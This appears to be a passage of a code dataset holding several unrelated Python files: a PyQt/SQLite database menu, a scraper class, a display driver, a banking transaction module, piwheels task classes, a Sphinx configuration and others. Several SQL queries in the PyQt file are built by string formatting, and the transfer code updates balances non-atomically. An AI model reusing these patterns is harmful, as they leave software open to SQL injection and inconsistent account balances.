\r\n except IndexError:\r\n \r\n self.SearchTable.setHorizontalHeaderItem(1, QTableWidgetItem(\"Author\"))\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor() #fetching firstname and lastname using foreign key\r\n for count2 in range(0, self.SearchTable.rowCount()): \r\n cursor.execute(\"select Firstname, Lastname, Book.AuthorID, Customer.AuthorID from Customer, Book where Book.ISBN = {} and Customer.AuthorID = Book.AuthorID\".format(list(self.SearchDatabase.Results[count2])[2]))\r\n self.Name = list(cursor.fetchone())\r\n self.Name = \"{}, {}\".format(self.Name[1], self.Name[0])\r\n self.SearchTable.setItem(count2, 1, QTableWidgetItem(self.Name))\r\n db.commit()\r\n self.SearchTable.initTable()\r\n \r\n\r\n \r\n if self.SearchDatabase.Table in [\"RoyaltyItems\", \"BookInvoiceItems\"]:\r\n index = 4\r\n else:\r\n index = 1\r\n \r\n if self.SearchDatabase.Table == \"Customer\":\r\n for count in range(0, len(self.SearchDatabase.Results)+1):\r\n try: #using the results to fetch the correct data\r\n if count == 0:\r\n self.SearchTable.sql = \"select * from Customer where AuthorID = '{}'\".format(list(self.SearchDatabase.Results[count])[0])\r\n else:\r\n self.SearchTable.sql += \" or AuthorID = '{}'\".format(list(self.SearchDatabase.Results[count])[0])\r\n self.SearchTable.initTable()\r\n \r\n except IndexError:\r\n self.errorIndex = True\r\n self.SearchTable.initTable()\r\n \r\n \r\n elif self.SearchDatabase.Table != \"Book\" and self.SearchDatabase.Table != None:\r\n for count in range(0, len(self.SearchDatabase.Results)+1):\r\n try: #using the results to fetch the correct data\r\n if count == 0:\r\n self.SearchTable.sql = \"select * from {0} where {0}ID = '{1}'\".format(self.SearchDatabase.Table, list(self.SearchDatabase.Results[count])[index])\r\n else:\r\n self.SearchTable.sql += \" or {0}ID = '{1}'\".format(self.SearchDatabase.Table, list(self.SearchDatabase.Results[count])[index])\r\n self.SearchTable.initTable()\r\n \r\n except IndexError:\r\n self.errorIndex = True\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor() #fetching firstnames and lastnames and book titles using foreign keys\r\n if self.SearchDatabase.Table in [\"Royalties\", \"BookInvoice\"]:\r\n self.SearchTable.setHorizontalHeaderItem(1, QTableWidgetItem(\"Author\"))\r\n for count2 in range(0, self.SearchTable.rowCount()):\r\n cursor.execute(\"select Firstname, Lastname, {0}.AuthorID, Customer.AuthorID from Customer, {0} where Customer.AuthorID = {1} and {0}.AuthorID = Customer.AuthorID\".format(self.SearchDatabase.Table, list(self.SearchDatabase.Results[count2])[0]))\r\n self.Name = list(cursor.fetchone())\r\n self.Name = \"{}, {}\".format(self.Name[1], self.Name[0])\r\n self.SearchTable.setItem(count2, 1, QTableWidgetItem(self.Name))\r\n \r\n elif self.SearchDatabase.Table in [\"RoyaltyItems\", \"BookInvoiceItems\"]:\r\n self.SearchTable.setHorizontalHeaderItem(1, QTableWidgetItem(\"Author\"))\r\n self.SearchTable.setHorizontalHeaderItem(2, QTableWidgetItem(\"Book Title\"))\r\n if self.SearchDatabase.Table == \"RoyaltyItems\":\r\n self.IDType = \"Royalties\"\r\n else:\r\n self.IDType = \"BookInvoice\"\r\n for count2 in range(0, self.SearchTable.rowCount()):\r\n cursor.execute(\"select BookTitle, Book.ISBN, {0}.ISBN, {1}.AuthorID, Firstname, LastName from Book, {0}, {1}, Customer where Book.ISBN = {2} and {0}.ISBN = Book.ISBN and {1}.{1}ID = {0}.{1}ID and Customer.AuthorID = {1}.AuthorID\".format(self.SearchDatabase.Table, self.IDType, list(self.SearchDatabase.Results[count2])[2]))\r\n self.Title = cursor.fetchone()\r\n self.Name = \"{}, {}\".format(self.Title[5], self.Title[4])\r\n self.Title = \"{}\".format(list(self.Title)[0])\r\n self.SearchTable.setItem(count2, 2, QTableWidgetItem(self.Title))\r\n self.SearchTable.setItem(count2, 1, QTableWidgetItem(self.Name)) \r\n elif self.SearchDatabase.Table == \"PubInvoice\":\r\n self.SearchTable.setHorizontalHeaderItem(1, QTableWidgetItem(\"Book Title\"))\r\n self.SearchTable.setHorizontalHeaderItem(2, QTableWidgetItem(\"Author\"))\r\n for count2 in range(0, self.SearchTable.rowCount()):\r\n cursor.execute(\"select Firstname, Lastname, BookTitle, {0}.AuthorID, Customer.AuthorID, Book.ISBN, {0}.ISBN from Customer, {0}, Book where Customer.AuthorID = {1} and {0}.AuthorID = Customer.AuthorID and Book.AuthorID = Customer.AuthorID and {0}.ISBN = Book.ISBN\".format(self.SearchDatabase.Table, list(self.SearchDatabase.Results[count2])[0]))\r\n self.Name = list(cursor.fetchone())\r\n self.Title = \"{}\".format(self.Name[2])\r\n self.Name = \"{}, {}\".format(self.Name[1], self.Name[0])\r\n self.SearchTable.setItem(count2, 2, QTableWidgetItem(self.Name))\r\n self.SearchTable.setItem(count2, 1, QTableWidgetItem(self.Title)) \r\n\r\n db.commit() \r\n \r\n\r\n self.StackedLayout.setCurrentIndex(2)\r\n self.MenuBar.setVisible(False)\r\n \r\n except:\r\n self.errorIndex = True\r\n \r\n if self.errorIndex == True:\r\n self.StackedLayout.setCurrentIndex(0)\r\n self.Msg = QMessageBox()\r\n self.Msg.setWindowTitle(\"No Results Found\")\r\n self.Msg.setText(\"No data matches your search\")\r\n self.Msg.exec_()\r\n\r\n\r\n def keyReleaseEvent(self, QKeyEvent):\r\n if self.MainMenuButtons.leQuickSearch.text() == \"\":\r\n self.TableWidget.sql = \"select * from Customer\"\r\n self.TableWidget.initTable()\r\n\r\n\r\n def ChangeUsernameOrPassword(self):\r\n\r\n self.ChangeWhat = dbUsernameOrPassword()\r\n self.ChangeWhat.Selection = None\r\n self.ChangeWhat.ChangeSelection()\r\n if self.ChangeWhat.Selection == \"Username\":\r\n self.UsernameChange = dbChangeUsername()\r\n self.UsernameChange.Username = self.Username\r\n self.UsernameChange.initChangeUsernameScreen()\r\n elif self.ChangeWhat.Selection == \"Password\":\r\n self.PasswordChange = dbChangePassword()\r\n self.PasswordChange.Username = self.Username\r\n self.PasswordChange.initChangePasswordScreen()\r\n\r\n def LogOut(self):\r\n self.hide()\r\n subprocess.call(\"LoginDB.py\", shell=True)\r\n\r\n\r\n","sub_path":"Implementation/Database/MainMenu.py","file_name":"MainMenu.py","file_ext":"py","file_size_in_byte":62923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"236951637","text":"from bottlenose import Call\n\n\nclass ScraperCall(Call):\n \"\"\"\n A call to any arbitrary URL.\n \"\"\"\n def __init__(self, operation=None, timeout=None, max_qps=None,\n parser=None, cache_reader=None, cache_writer=None,\n error_handler=None, max_retries=5, last_query_time=None):\n super(ScraperCall, self).__init__(operation, timeout, max_qps, parser,\n cache_reader, cache_writer,\n error_handler, max_retries, last_query_time)\n\n def __getattr__(self, k):\n try:\n return super(ScraperCall, self).__getattr__(self, k)\n except:\n return ScraperCall(operation=k, timeout=self.timeout,\n max_qps=self.max_qps, parser=self.parser,\n cache_reader=self.cache_reader,\n cache_writer=self.cache_writer,\n error_handler=self.error_handler,\n max_retries=self.max_retries,\n last_query_time=self._last_query_time)\n\n def api_url(self, **kwargs):\n \"\"\"The URL for making the given query against the API.\"\"\"\n return kwargs.get('url')\n\n def cache_url(self, **kwargs):\n \"\"\"A simplified URL to be used for caching the given query.\"\"\"\n return self.api_url(**kwargs)\n\n\nclass Scraper(ScraperCall):\n def __init__(self, operation=None, timeout=None, max_qps=None, parser=None,\n cache_reader=None, cache_writer=None, error_handler=None,\n max_retries=5):\n \"\"\"\n Create a Scraper object.\n \"\"\"\n ScraperCall.__init__(self, operation=operation,\n timeout=timeout, max_qps=max_qps, parser=parser,\n cache_reader=cache_reader, cache_writer=cache_writer,\n error_handler=error_handler, max_retries=max_retries)\n\n__all__ = [\"Scraper\"]\n","sub_path":"bottlenose/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"170841087","text":"# The MIT License (MIT)\n#\n# Copyright (c) 2017 Radomir Dopieralski and Adafruit Industries\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\"\"\"\n`adafruit_rgb_display.ili9341`\n====================================================\n\nA simple driver for the ILI9341/ILI9340-based displays.\n\n* Author(s): Radomir Dopieralski, Michael McWethy\n\"\"\"\n\ntry:\n import struct\nexcept ImportError:\n import ustruct as struct\n\nfrom adafruit_rgb_display.rgb import DisplaySPI\n\n__version__ = \"0.0.0-auto.0\"\n\n\nclass SSD2119(DisplaySPI):\n \"\"\"\n A simple driver for the SSD2119 based displays.\n\n >>> import busio\n >>> import digitalio\n >>> import board\n >>> from adafruit_rgb_display import color565\n >>> import adafruit_rgb_display.ili9341 as ili9341\n >>> spi = busio.SPI(clock=board.SCK, MOSI=board.MOSI, MISO=board.MISO)\n >>> display = ili9341.ILI9341(spi, cs=digitalio.DigitalInOut(board.GPIO0),\n ... dc=digitalio.DigitalInOut(board.GPIO15))\n >>> display.fill(color565(0xff, 0x11, 0x22))\n >>> display.pixel(120, 160, 0)\n \"\"\"\n\n _COLUMN_SET = 0x004F\n _PAGE_SET = 0x004E\n _RAM_WRITE = 0x0022\n _RAM_READ = 0x0022\n _INIT = (\n (0x0028, b'\\x0006'),\n (0x0000, b'\\x0001'),\n (0x0010, b'\\x0000'),\n (0x0001, b'\\x32EF'),\n (0x0002, b'\\x0600'),\n (0x0003, b'\\0x6A38'), # Power Control 1, VRH[5:0]\n (0x0011, b'\\x6870'),\n (0x000F,b'\\x0000'),\n (0X000B,b'\\x5308'),\n (0X000C, b'\\x0003'), # Power Control 2, SAP[2:0], BT[3:0]\n (0X000D, b'\\x000A'),\n (0X000E, b'\\x2E00'),\n (0x001E, b'\\x00BE'),\n (0x0025, b'\\x8000'),\n (0x0026, b'\\x7800'),\n (0x004E, b'\\x0000'),\n (0x004F, b'\\x0000'),\n (0x0012, b'\\x08D9'),\n (0x0030, b'\\x0000'),\n (0x0031, b'\\x0104'),\n (0x0032, b'\\x0100'),\n (0x0033, b'\\x0305'),\n (0x0034, b'\\x0505'),\n (0x0035, b'\\x0305'),\n (0x0036, b'\\x0707'),\n (0x0037, b'\\x0300'),\n (0x003A, B'\\x1200'),\n (0x003B, B'\\x0800'),\n (0x0007, B'\\x0033'),\n (0x0022, None)\n \n )\n _ENCODE_PIXEL = \">H\"\n _ENCODE_POS = \">HH\"\n _DECODE_PIXEL = \">BBB\"\n\n #pylint: disable-msg=too-many-arguments\n def __init__(self, spi, dc, cs, rst=None, width=320, height=240,\n baudrate=16000000, polarity=0, phase=0, rotation=0):\n super().__init__(spi, dc, cs, rst=rst, width=width, height=height,\n baudrate=baudrate, polarity=polarity, phase=phase,\n rotation=rotation)\n self._scroll = 0\n #pylint: enable-msg=too-many-arguments\n\n def scroll(self, dy=None): #pylint: disable-msg=invalid-name\n \"\"\"Scroll the display by delta y\"\"\"\n if dy is None:\n return self._scroll\n self._scroll = (self._scroll + dy) % self.height\n self.write(0x37, struct.pack('>H', self._scroll))\n return None\n","sub_path":"adafruit_rgb_display/ssd2119.py","file_name":"ssd2119.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"481369623","text":"from models import *\n# from app import app\nfrom sanitize import *\nimport time\n\n# db.init_app(app) # initializes database\n\n# db.create_keyspace_simple('SBS', 1) # creates keyspace if does not exist\n\n# db.sync_db()\n\n# accepts an object of type Transaction\n# type can be 1, 2 or 3\n# 1 is transfer\n# 2 is debit, source is BANK for this option\n# 3 is credit, source is BANK for this option\n\n\ndef createTransactionRecord(type, amt, destination, source=\"BANK\"):\n flag = False\n source = clean(source)\n destination = clean(destination)\n f1 = Account.objects(\n accountNumber=destination).allow_filtering().count() == 1\n if source != \"BANK\":\n f2 = Account.objects(\n accountNumber=destination).allow_filtering().count() == 1\n else:\n f2 = True\n critical = False\n transactionF = None\n if check_amount(amt) and f1 and f2:\n amt = int(amt)\n flag = True\n if amt >= 100000:\n critical = True\n\n transaction = Transaction.create(\n transactionType=type,\n sourceAC=source,\n destinationAC=destination,\n amount=amt,\n time=time.asctime(),\n approvalRequired=critical,\n completed=False)\n\n if not critical:\n if type == 1:\n transactionF = transfer(transaction)\n elif type == 2:\n transactionF = debit(transaction)\n elif type == 3:\n transactionF = credit(transaction)\n\n return (flag, critical, transactionF)\n\n\ndef transfer(transaction):\n src = Account.objects(\n accountNumber=transaction.sourceAC).allow_filtering()[0]\n dst = Account.objects(\n accountNumber=transaction.destinationAC).allow_filtering()[0]\n amt = transaction.amount\n completed = transaction.completed\n\n if not completed:\n s = src.balance\n d = dst.balance\n if amt <= s:\n d += amt\n s -= amt\n src.update(balance=s)\n dst.update(balance=d)\n transaction.completed = True\n transaction.save()\n\n return transaction.completed\n\n\ndef debit(transaction):\n dst = Account.objects(\n accountNumber=transaction.destinationAC).allow_filtering()[0]\n amt = transaction.amount\n completed = transaction.completed\n\n if not completed:\n d = dst.balance\n if amt <= d:\n d -= amt\n dst.update(balance=d)\n transaction.completed = True\n transaction.save()\n\n return transaction.completed\n\n\ndef credit(transaction):\n dst = Account.objects(\n accountNumber=transaction.destinationAC).allow_filtering()[0]\n amt = transaction.amount\n completed = transaction.completed\n\n if not completed:\n d = dst.balance\n d += amt\n dst.update(balance=d)\n transaction.completed = True\n transaction.save()\n\n return transaction.completed\n","sub_path":"transactions.py","file_name":"transactions.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"304730861","text":"# The piwheels project\n# Copyright (c) 2017 Ben Nuttall \n# Copyright (c) 2017 Dave Jones \n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of the copyright holder nor the\n# names of its contributors may be used to endorse or promote products\n# derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n\"\"\"\nImplements the base classes (:class:`Task` and its derivative\n:class:`PauseableTask`) which form the basis of all the tasks in the piwheels\nmaster.\n\n.. autoexception:: TaskQuit\n\n.. autoclass:: Task\n :members:\n\n.. autoclass:: PauseableTask\n :members:\n\"\"\"\n\nimport logging\nfrom threading import Thread\nfrom collections import OrderedDict\n\nimport zmq\n\n\nclass TaskQuit(Exception):\n \"\"\"\n Exception raised when the \"QUIT\" message is received by the internal\n control queue.\n \"\"\"\n\n\nclass Task(Thread):\n \"\"\"\n The :class:`Task` class is a :class:`~threading.Thread` derivative which is\n the base for all tasks in the piwheels master. The :meth:`run` method is\n overridden to perform a simple task loop which calls :meth:`loop` once a\n cycle, and :meth:`poll` to react to any messages arriving into queues.\n Queues are associated with handlers via the :meth:`register` method.\n \"\"\"\n name = 'Task'\n\n def __init__(self, config):\n super().__init__()\n self.ctx = zmq.Context.instance()\n # Use an ordered dictionary to ensure the control queue is always\n # checked first\n self.handlers = OrderedDict()\n self.poller = zmq.Poller()\n self.logger = logging.getLogger(self.name)\n control_queue = self.ctx.socket(zmq.PULL)\n control_queue.hwm = 10\n control_queue.bind('inproc://ctrl-%s' % self.name)\n self.quit_queue = self.ctx.socket(zmq.PUSH)\n self.quit_queue.connect(config.control_queue)\n self.register(control_queue, self.handle_control)\n\n def register(self, queue, handler, flags=zmq.POLLIN):\n \"\"\"\n Register *queue* to be polled on each cycle of the task. Any messages\n with the relevant *flags* (defaults to ``POLLIN``) will trigger the\n specified *handler* method which is expected to take a single argument\n which will be *queue*.\n\n :param zmq.Socket queue:\n The queue to poll.\n\n :param handler:\n The function or method to call when a message with matching *flags*\n arrives in *queue*.\n\n :param int flags:\n The flags to match in the queue poller (defaults to ``POLLIN``).\n \"\"\"\n self.poller.register(queue, flags)\n self.handlers[queue] = handler\n\n def _ctrl(self, msg):\n queue = self.ctx.socket(zmq.PUSH)\n queue.connect('inproc://ctrl-%s' % self.name)\n queue.send_pyobj(msg)\n queue.close()\n\n def pause(self):\n \"\"\"\n Requests that the task pause itself. This is an idempotent method; it's\n always safe to call repeatedly and even if the task isn't pauseable\n it'll simply be ignored.\n \"\"\"\n self._ctrl(['PAUSE'])\n\n def resume(self):\n \"\"\"\n Requests that the task resume itself. This is an idempotent method;\n it's safe to call repeatedly and even if the task isn't pauseable it'll\n simply be ignored.\n \"\"\"\n self._ctrl(['RESUME'])\n\n def quit(self):\n \"\"\"\n Requests that the task terminate at its earliest convenience. To wait\n until the task has actually closed, call :meth:`join` afterwards.\n \"\"\"\n self._ctrl(['QUIT'])\n\n def handle_control(self, queue):\n \"\"\"\n Default handler for the internal control queue. In this base\n implementation it simply handles the \"QUIT\" message by raising TaskQuit\n (which the :meth:`run` method will catch and use as a signal to end).\n \"\"\"\n # pylint: disable=no-self-use,unused-variable\n msg, *args = queue.recv_pyobj()\n if msg == 'QUIT':\n raise TaskQuit\n\n def loop(self):\n \"\"\"\n This method is called once per loop of the task's :meth:`run` method.\n If the task needs to do some work periodically, this is the place to do\n it.\n \"\"\"\n pass\n\n def poll(self, timeout=1000):\n \"\"\"\n This method is called once per loop of the task's :meth:`run` method.\n It polls all registered queues and calls their associated handlers if\n the poll is successful.\n \"\"\"\n while True:\n socks = dict(self.poller.poll(timeout))\n try:\n for queue in socks:\n self.handlers[queue](queue)\n except zmq.error.Again:\n continue\n break\n\n def run(self):\n \"\"\"\n This method is the main task loop. Override this to perform one-off\n startup processing within the task's background thread, and to perform\n any finalization required.\n \"\"\"\n self.logger.info('starting')\n while True:\n try:\n self.loop()\n self.poll()\n except TaskQuit:\n self.logger.info('closing')\n break\n except:\n self.quit_queue.send_pyobj(['QUIT'])\n raise\n\n\nclass PauseableTask(Task):\n \"\"\"\n Derivative of :class:`Task` that implements a rudimentary pausing\n mechanism. When the \"PAUSE\" message is received on the internal control\n queue, the task will enter a loop which simply polls the control queue\n waiting for \"RESUME\" or \"QUIT\". No other work will be done\n (:meth:`Task.loop` and :meth:`Task.poll` will not be called) until the task\n is resumed (or terminated).\n \"\"\"\n def handle_control(self, queue):\n # pylint: disable=unused-variable\n msg, *args = queue.recv_pyobj()\n if msg == 'QUIT':\n raise TaskQuit\n elif msg == 'PAUSE':\n while True:\n msg, *args = queue.recv_pyobj()\n if msg == 'QUIT':\n raise TaskQuit\n elif msg == 'RESUME':\n break\n","sub_path":"piwheels/master/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":7446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"470489362","text":"# Configuration file for the Sphinx documentation builder.\n#\n# This file only contains a selection of the most common options. For a full\n# list see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Path setup --------------------------------------------------------------\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\n# import os\n# import sys\n# sys.path.insert(0, os.path.abspath('.'))\n\n# import libraries\nfrom datetime import datetime\n\n\n# -- Project information -----------------------------------------------------\n\nproject = 'ml-elec-model'\ncopyright = (\n '2018-2020, Nithiya Streethran. Except where otherwise noted, ' +\n 'content on this site is licensed under a Creative Commons ' +\n 'Attribution 4.0 International (CC BY 4.0) license. Last updated ' +\n str(datetime.today().strftime('%-d %B %Y')))\nauthor = 'Nithiya Streethran'\n# version = '0.1.0'\n# release = '0.1.0'\n\n\n# -- General configuration ---------------------------------------------------\n\n# override default master doc from contents\nmaster_doc = 'index'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n 'bokeh.sphinxext.bokeh_plot',\n # 'jupyter_sphinx'\n]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\nhtml_theme = 'pydata_sphinx_theme'\n\nhtml_logo = '_static/house.png'\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\nhtml_theme_options = {\n 'external_links': [\n {'url': 'https://gitlab.com/nithiya/ml-elec-model',\n 'name': 'GitLab'},\n {'url': 'https://www.zotero.org/groups/2327899/ml-elec-model/library',\n 'name': 'Zotero'},\n {'url': 'https://gitlab.com/nithiya/ml-elec-model-data',\n 'name': 'Datasets'}\n ]\n}\n\n# directories of .py files for bokeh plots\nbokeh_plot_pyfile_include_dirs = ['../scripts']\n\n# # -- LaTeX options ---------------------------------------------------------\n# latex_documents = [('index', project + '.tex', project + ' docs',\n# author, 'manual', True)]\n\n# latex_elements = {\n# 'papersize': 'a4paper',\n# 'pointsize': '11pt',\n# 'sphinxsetup':\n# 'verbatimwithframe=false, \\\n# TitleColor={rgb}{0,0,0}, \\\n# VerbatimColor={rgb}{1,.98,.98}, \\\n# InnerLinkColor={rgb}{.86,.08,.24}, \\\n# OuterLinkColor={rgb}{1,.49,0}',\n# 'fncychap': '',\n# 'printindex': '',\n# 'figure_align': '!htb',\n# 'preamble': r'''\n# % % fix headheight issue\n# \\geometry{headheight=13.6pt}\n\n# % % fonts\n# \\usepackage{mathtools}\n# \\usepackage{newpxtext}\n# \\usepackage{newpxmath}\n# \\usepackage[defaultsans]{lato}\n# \\usepackage[zerostyle=c,straightquotes]{newtxtt}\n# % remove emphasis from glossary references\n# \\protected\\def\\sphinxtermref#1{#1}\n# % change toc title font\n# \\usepackage{tocloft}\n# \\renewcommand{\\cfttoctitlefont}{\\Huge\\bfseries\\sffamily}\n\n# % % titlepage and metadata\n# \\hypersetup{\n# pdfkeywords={machine learning, electricity system model,\n# open source},\n# pdfsubject={License: CC BY 4.0}\n# }\n\n# % % tables and captions\n# % change table heading style\n# \\renewcommand{\\sphinxstyletheadfamily}{\\rmfamily\\bfseries}\n# % change longtable continuation style and font size\n# \\renewcommand{\\sphinxtablecontinued}{\\rmfamily}\n# \\let\\oldlongtable\\longtable\n# \\renewcommand{\\longtable}{\\footnotesize\\oldlongtable}\n# % change tabulary font size\n# \\let\\oldtabulary\\tabulary\n# \\renewcommand{\\tabulary}{\\footnotesize\\oldtabulary}\n# % captions\n# \\usepackage[font=small,labelfont=bf,figurename=Figure~]{caption}\n# % use booktabs and remove all table rules\n# \\usepackage{booktabs}\n# \\setlength{\\arrayrulewidth}{0pt}\n\n# % % remove section numbering\n# \\setcounter{secnumdepth}{0}\n# % reset numbering for figures, tables, and footnotes\n# \\usepackage{chngcntr}\n# \\counterwithout{footnote}{chapter}\n# \\counterwithout{figure}{chapter}\n# \\counterwithout{table}{chapter}\n# % remove chapter numbers and labels\n# \\titleformat{\\chapter}[display]{\\bfseries\\sffamily}{}{-40pt}{\\Huge}\n# \\renewcommand{\\thechapter}{}\n# % adjust chapter alignments in toc\n# \\setlength{\\cftchapnumwidth}{0em}\n\n# % % header and footer\n# % for all pages\n# \\makeatletter\n# \\fancypagestyle{normal}{\n# \\fancyhf{}\n# \\fancyfoot[C]{\\sffamily\\thepage}\n# \\fancyhead[LE,RO]{\\sffamily\\textit{\\@title}}\n# \\renewcommand{\\headrulewidth}{1pt}\n# }\n# % for the first page of the chapter\n# \\fancypagestyle{plain}{\n# \\fancyhf{}\n# \\fancyfoot[C]{\\sffamily\\thepage}\n# \\renewcommand{\\headrulewidth}{0pt}\n# }\n# \\makeatother\n\n# % % bibliography\n# \\renewenvironment{sphinxthebibliography}[1]{\n# % remove automatically-generated bibliography title\n# % and page break\n# \\renewcommand{\\chapter}[2]{}\n# \\begin{thebibliography}{#1}\n# }{\\end{thebibliography}\n# }\n# '''\n# }\n","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":6338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"523176687","text":"from DealPicture import PictureDeal\nfrom SaveEs import DealRedis\nfrom CommonFile import configIfno, SAVE_ES_PARAMS,DEAL_PARAMS\nfrom scrapy_redis import connection\nfrom scrapy.utils.project import get_project_settings\nimport glob\nimport sys\nimport time\nfrom AllLoggerFile import AllLogger\n\ndef ReadFile(path,logger):\n try:\n with open(path, 'r') as f:\n statusSpider = f.read()\n return statusSpider.split(\":\")\n except:\n logger.error('read file error!')\n\n\ndef getKeyLen(server):\n return server.llen(SAVE_ES_PARAMS['reItemName'])\n\n\ndef getImgListLen():\n imgList = glob.glob(configIfno['tempImg'])\n return imgList, len(imgList)\n\n\nif __name__ == \"__main__\":\n settings = get_project_settings()\n server = connection.from_settings(settings)\n logger=AllLogger.InitErrorLog()\n try:\n targetDics = [int(dic[len(DEAL_PARAMS['picSearResPos'][:-1]):]) for dic in glob.glob(DEAL_PARAMS['picSearResPos'])]\n maxTargetDic= max(targetDics) if len(targetDics) else 0\n maxDicFiles = glob.glob(DEAL_PARAMS['picSearResPos'][:-1] + str(maxTargetDic) + '/*')\n FileCount = len(maxDicFiles)\n except:\n maxTargetDic = 0\n FileCount=0\n logger.error('catalogue name is wrong!')\n picDeal = PictureDeal.CreatePicDeal(logger,(maxTargetDic,FileCount))\n esSave = DealRedis.CreateDealRedis(server,logger)\n statusSpider = ReadFile(configIfno['settingFile'],logger)\n count=0\n while not getKeyLen(server) and(not statusSpider or\n len(statusSpider )!=2 or statusSpider[1] == configIfno['CLOSED']):\n time.sleep(10)\n count=count+1\n if count==configIfno['INIT_WAIT_MAX_TIME']:\n logger.error('spider error running!')\n sys.exit(0)\n statusSpider = ReadFile(configIfno['settingFile'],logger)\n count=0\n picSet=set()\n while True:\n imgList, imglen = getImgListLen()\n if imglen > configIfno['PIC_MIN_INSERT']:\n count=0\n imgList=list(set(imgList)-picSet)\n resPicSet=picDeal.CalculDeal(imgList[:configIfno['PIC_MAX_DEAL']])\n picSet=set.union(picSet,resPicSet)\n if getKeyLen(server) > configIfno['TEXT_MIN_INSERT']:\n count=0\n esSave.ReadRedis(configIfno['TEXT_MIN_INSERT'])\n imgList, imglen = getImgListLen()\n redisCount=getKeyLen(server)\n if imglen <= configIfno['PIC_MIN_INSERT'] and redisCount <= configIfno['TEXT_MIN_INSERT']:\n statusSpider = ReadFile(configIfno['settingFile'],logger)\n if count==configIfno['END_WAIT_MAX_TIME'] or \\\n (statusSpider and len(statusSpider) == 2 and statusSpider[1] == configIfno['CLOSED']):\n esSave.ReadRemain()\n imgList, imglen = getImgListLen()\n imgList = list(set(imgList) - picSet)\n if len(imgList):\n picDeal.CalculDeal(imgList)\n if count==configIfno['END_WAIT_MAX_TIME']:\n logger.error('spider error closing!')\n break\n time.sleep(30)\n if redisCount==getKeyLen(server):\n count = count + 1\n\n","sub_path":"Search/ElasticSearchSave/PictureTextFile.py","file_name":"PictureTextFile.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"20695460","text":"import socket\nimport sys\nimport os\nimport traceback\nfrom subprocess import Popen\nimport time\nfrom struct import *\n\nprint(\"Started\")\n\nHOST = '127.0.0.1'\nPORT = 8091\n\n\ndef mysend(conn, msg):\n totalsent = 